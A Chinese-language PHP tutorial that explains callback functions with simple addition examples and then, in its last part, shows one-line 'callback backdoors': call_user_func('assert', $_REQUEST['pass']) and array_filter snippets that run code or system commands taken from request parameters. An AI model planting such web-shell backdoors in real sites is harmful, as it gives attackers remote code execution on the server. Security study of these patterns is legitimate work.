概念

指调用函数时并不是向函数中传递一个标准的变量作为参数,而是将另一个函数作为参数传递到调用的函数中,这个作为参数的函数就是回调函数。通俗的来说,回调函数也是一个我们定义的函数,但是不是我们直接来调用的,而是通过另一个函数来调用的,这个函数通过接收回调函数的名字和参数来实现对它的调用。
示例代码如下所示:

<?php
    function arithmetic($funcName, $m, $n) {
        return $funcName($m, $n);
    }
    function add($m,$n){
        return $m+$n;
    }
    $sum = arithmetic('add', 5, 9);
    echo '5 + 9 ='.$sum;
?>

运行结果如下:
5 + 9 =14

另外,PHP 还提供了两个内置函数 call_user_func() 和 call_user_func_array() 来对回调函数进行支持。这两个函数的区别是 call_user_func_array() 是以数组的形式接收回调函数的参数,而 call_user_func() 则是以具体的参数来接收回调函数参数的。

call_user_func()

call_user_func 函数会把第一个参数作为回调函数来调用,其语法格式如下:
call_user_func (callback [, parameter, ... ])

其中,第一个参数 $callback 是被调用的回调函数,其余参数是回调函数的参数,多个参数之间使用,分隔。

<?php
    function arithmetic($funcName, $m, $n) {
        return call_user_func($funcName, $m, $n);
    }
    function add($m,$n){
        return $m+$n;
    }
    $sum = arithmetic('add', 7, 17);
    echo '7 + 17 ='.$sum;
?>

运行结果如下:
7 + 17 =24

call_user_func_array()

call_user_func_array 函数可以调用回调函数,并使用一个数组来作为回调函数的参数,其语法格式如下:
call_user_func_array (callback ,param_arr)

其中,第一个参数 callback 是被调用的回调函数,param_arr 是一个索引数组,用来存储需要传入回调函数中的具体参数。

<?php
    function arithmetic($funcName, $m, $n) {
        return call_user_func_array($funcName, array($m, $n));
    }
    function add($m,$n){
        return $m+$n;
    }
    $sum = arithmetic('add', 12, 33);
    echo '12 + 33 ='.$sum;
?>

运行结果如下:
12 + 33 =45

回调参数后门

典中典 call_user_func('assert', $_REQUEST['pass'])

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用

数组操作造成的单参数回调后门

array_filter() 函数用回调函数过滤数组中的元素

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);

image.png
image.png
类似array_filter,array_map,uasort也有同样功效

php5.4.8+的assert

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition
PHP >= 7.2 版本开始,参数 assertion 不再支持字符串
image.png

<?php
$e = $_REQUEST['e'];
$arr = array("system('time')",$_POST['pass']);
var_dump($arr);
array_filter($arr, $e);

image.png